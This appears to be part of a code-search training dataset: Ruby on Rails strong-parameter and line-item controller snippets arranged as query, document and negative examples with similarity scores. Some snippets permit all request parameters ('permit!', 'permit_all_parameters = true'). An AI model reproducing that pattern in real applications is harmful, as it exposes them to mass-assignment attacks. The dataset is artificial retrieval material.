"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
GET /equipment_line_items GET /equipment_line_items.json
|
def index
@equipment_line_items = EquipmentLineItem.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @item_line = ItemLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_line }\n end\n end",
"def set_equipment_line_item\n @equipment_line_item = EquipmentLineItem.find(params[:id])\n end",
"def show\n puts params.inspect.green\n\n @line_item = LineItem.find(params[:id])\n\n puts @line_items.inspect.magenta\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def show\n @line_item = @order.line_items.find(params[:id])\n\n render json: @line_item\n end",
"def equipment\n @items = Item.where(user_id: params[:user_id])\n end",
"def equipment_line_item_params\n params.require(:equipment_line_item).permit(:equipment_id, :equipment_move_buffer_id)\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @line_items \n }\n end\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @line_items }\n end\n end",
"def show\n render :json => @equipment_list, :include => [:weapons, :armours, :equipments]\n end",
"def show\n @equipment = Equipment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipment }\n end\n end",
"def show\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def show\n @product = Product.find(params[:id])\n @line_item = LineItem.create!\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end",
"def line_items(id = nil, opts = {})\n load_resource(LineItem, id, opts)\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def show\n @line_item_products = LineItemProduct.all\n end",
"def index\n @line_items = LineItem.all\nend",
"def index\n @line_items = LineItem.all\nend",
"def create\n @equipment_move_buffer = current_equipment_buffer\n equipment = Equipment.find(params[:equipment_id])\n @equipment_line_item = @equipment_move_buffer.equipment_line_items.build(equipment_id: equipment.id)\n\n respond_to do |format|\n if @equipment_line_item.save\n format.html { redirect_to @equipment_line_item.equipment_move_buffer, notice: 'Equipment line item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @equipment_line_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @equipment_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_item_params\n params[:line_item]\n end",
"def index\n @lineitems = Lineitem.all\n end",
"def new\n @item_line = ItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_line }\n end\n end",
"def show\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n\n# respond_to do |format|\n# format.html # show.html.erb\n# format.json { render json: @purchase_order_item_line }\n# end\n end",
"def line_items(account_id, options = {})\n get(\"/accounts/#{account_id}/line_items\", options)\n end",
"def item(uuid)\n http.get \"/items/#{uuid}\"\n end",
"def show\n #@product_impact_line_items = @product.product_impact_line_items.includes(:impact_line_item, :impact_entries)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end",
"def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend",
"def show\n @popularty_line_item = PopulartyLineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @popularty_line_item }\n end\n end",
"def index #index defines line_items then query all the line items then pass it to it\n @line_items = LineItem.all\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def set_line_item\n @line_items = LineItem.find(params[:id])\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def update\n respond_to do |format|\n if @equipment_line_item.update(equipment_line_item_params)\n format.html { redirect_to @equipment_line_item, notice: 'Equipment line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @equipment_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @equipment_line_item.destroy\n respond_to do |format|\n format.html { redirect_to equipment_line_items_url }\n format.json { head :no_content }\n end\n end",
"def index\n @invoice_line_items = current_brand.invoice_line_items.all\n puts @invoice_line_items.as_json\n @invoice_line_item = InvoiceLineItem.new\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def items\n lineitems.each_with_object([]) {|lineitem,arr| arr << lineitem.item}\n end",
"def show\n render json: @order_line_item\n end",
"def items\n @items ||= line_items.to_a\n end",
"def line_item_params\n params.require(:line_item).permit(:product_id, :accessory_id)\n end",
"def show\n @lab_equipment = LabEquipment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_equipment }\n end\n end",
"def new\n @lineitem = Lineitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def show\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_line }\n end\n end",
"def line_items\n @line_items ||= self.send(self.class.line_items_table_name)\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def create \n @line_item = LineItem.new(line_item_params)\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to '/line_items', notice: \"Line item was successfully created.\" }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_line = ItemLine.new(params[:item_line])\n\n respond_to do |format|\n if @item_line.save\n format.html { redirect_to @item_line, notice: 'Item line was successfully created.' }\n format.json { render json: @item_line, status: :created, location: @item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @purchase_order_item_line = PurchaseOrderItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase_order_item_line }\n end\n end",
"def line_items\n @line_items ||= self.send(self.class.line_items_table_name)\n end",
"def line_items\n @line_items ||= self.send(self.class.line_items_table_name)\n end",
"def index\n @liner_items = LinerItem.all\n end",
"def line_items\n @line_items ||= self.send(self.class.line_items_table_name)\n end",
"def line_items\n @line_items ||= self.send(self.class.line_items_table_name)\n end",
"def line_item(item)\n {\n Name: item.product.name,\n Number: item.variant.sku,\n Quantity: item.quantity,\n Amount: {\n currencyID: item.order.currency,\n value: item.price\n },\n ItemCategory: 'Physical'\n }\n end",
"def show\n @line_item = current_member.seller.line_items.find(params[:id])\n \n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @line_item.to_xml }\n end\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\n end"
] |
[
"0.6734687",
"0.66849494",
"0.66270417",
"0.65268165",
"0.6526566",
"0.6526566",
"0.6526566",
"0.6526566",
"0.6526566",
"0.6526566",
"0.6526566",
"0.6501052",
"0.6473452",
"0.64032495",
"0.6299003",
"0.62967956",
"0.62814134",
"0.61766535",
"0.61766535",
"0.61766535",
"0.61766535",
"0.61766535",
"0.61766535",
"0.61766535",
"0.61766535",
"0.61766535",
"0.61766535",
"0.61766535",
"0.61759275",
"0.61725384",
"0.61725384",
"0.61725384",
"0.61725384",
"0.6141833",
"0.61343247",
"0.6133004",
"0.6114389",
"0.610458",
"0.6054337",
"0.6026167",
"0.6016385",
"0.601097",
"0.601097",
"0.5990218",
"0.5989092",
"0.5976531",
"0.5943384",
"0.5929012",
"0.59223235",
"0.59124595",
"0.589226",
"0.5876413",
"0.5859046",
"0.58122706",
"0.58030987",
"0.58030987",
"0.58030987",
"0.58030987",
"0.58030987",
"0.58030987",
"0.58030987",
"0.58030987",
"0.58030987",
"0.58030987",
"0.5784134",
"0.57737005",
"0.5764131",
"0.5761715",
"0.5757878",
"0.5755817",
"0.5734726",
"0.57347006",
"0.57347006",
"0.57347006",
"0.57343996",
"0.5733192",
"0.57304305",
"0.5722503",
"0.5711355",
"0.5681843",
"0.56800467",
"0.56465405",
"0.5636985",
"0.5613538",
"0.56121796",
"0.56038857",
"0.55935675",
"0.55935675",
"0.5579252",
"0.55682623",
"0.55682623",
"0.5558874",
"0.5557813",
"0.55395615",
"0.55395615",
"0.55395615",
"0.55395615",
"0.55395615",
"0.55395615",
"0.55395615"
] |
0.7343322
|
0
|
GET /equipment_line_items/1 GET /equipment_line_items/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @equipment_line_items = EquipmentLineItem.all\n end",
"def show\n @item_line = ItemLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_line }\n end\n end",
"def show\n puts params.inspect.green\n\n @line_item = LineItem.find(params[:id])\n\n puts @line_items.inspect.magenta\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def set_equipment_line_item\n @equipment_line_item = EquipmentLineItem.find(params[:id])\n end",
"def show\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def show\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def show\n @line_item = @order.line_items.find(params[:id])\n\n render json: @line_item\n end",
"def show\n @equipment = Equipment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipment }\n end\n end",
"def show\n @product = Product.find(params[:id])\n @line_item = LineItem.create!\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end",
"def item(uuid)\n http.get \"/items/#{uuid}\"\n end",
"def show\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n\n# respond_to do |format|\n# format.html # show.html.erb\n# format.json { render json: @purchase_order_item_line }\n# end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @line_items \n }\n end\n end",
"def new\n @item_line = ItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_line }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @line_items }\n end\n end",
"def show\n @popularty_line_item = PopulartyLineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @popularty_line_item }\n end\n end",
"def equipment\n @items = Item.where(user_id: params[:user_id])\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def show\n render :json => @equipment_list, :include => [:weapons, :armours, :equipments]\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def equipment_line_item_params\n params.require(:equipment_line_item).permit(:equipment_id, :equipment_move_buffer_id)\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n @line_item1 = LineItem1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def show\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_line }\n end\n end",
"def show\n @lab_equipment = LabEquipment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_equipment }\n end\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def create\n @equipment_move_buffer = current_equipment_buffer\n equipment = Equipment.find(params[:equipment_id])\n @equipment_line_item = @equipment_move_buffer.equipment_line_items.build(equipment_id: equipment.id)\n\n respond_to do |format|\n if @equipment_line_item.save\n format.html { redirect_to @equipment_line_item.equipment_move_buffer, notice: 'Equipment line item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @equipment_line_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @equipment_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @line_items = LineItem.all\nend",
"def index\n @line_items = LineItem.all\nend",
"def new\n @lineitem = Lineitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineitem }\n end\n end",
